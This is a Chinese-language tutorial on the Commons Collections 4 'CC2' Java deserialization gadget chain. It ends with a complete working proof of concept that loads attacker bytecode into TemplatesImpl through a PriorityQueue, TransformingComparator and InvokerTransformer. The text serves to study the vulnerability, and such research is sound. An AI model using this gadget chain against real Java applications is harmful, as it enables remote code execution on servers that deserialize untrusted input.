🍱CC2反序列化分析

前置知识

javassist字节码增强类库

参考：https://www.yuque.com/m0re/demosec/okt2t3

了解这个库是怎么生成class字节码文件的。

其中CC1链在实际应用中存在一些限制，高版本的jdk就无法利用了，原因是jdk8u71版本中改写了sun.reflect.annotation.AnnotationInvocationHandler类的readObject方法，CC1链在jdk8u71版本以上已经被修复了。在jdk8u71以后的版本，重新构造了一条利用链CC2

CC2链子分析

这个链子是放在CC4后面看的，这么理解可能更好一点，如果看过了CC4的链子，就会知道在初始化TrAXFilter的时候使用了Transformer数组，利用InstantiateTransformer去初始化TrAXFilter.class，到CC2则是抛弃这个利用点。

前面都一样，只是调用newInstance方法的方式变了，这里使用InvokerTransformer去调用templates的transform方法。

创建 TransformingComparator 类对象，传⼊一个临时的 Transformer 类对象，这是为了让代码能够不本地执行，在反序列化的时候执行

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);  
priorityQueue.add(templates);  
priorityQueue.add(templates);

Class c = transformingComparator.getClass();  
Field transformingField = c.getDeclaredField("transformer");  
transformingField.setAccessible(true);  
transformingField.set(transformingComparator, invokerTransformer);

最终的POC

package com.common.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC2 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        Class cc3 = templates.getClass();
        Field nameField = cc3.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "sfabc");
        Field bytecodesField = cc3.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://Test//Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);
        InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(templates);
        Class c = transformingComparator.getClass();
        Field transformingField = c.getDeclaredField("transformer");
        transformingField.setAccessible(true);
        transformingField.set(transformingComparator, invokerTransformer);
//        serialize(priorityQueue);
        unserialize("ser.bin");
    }
    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}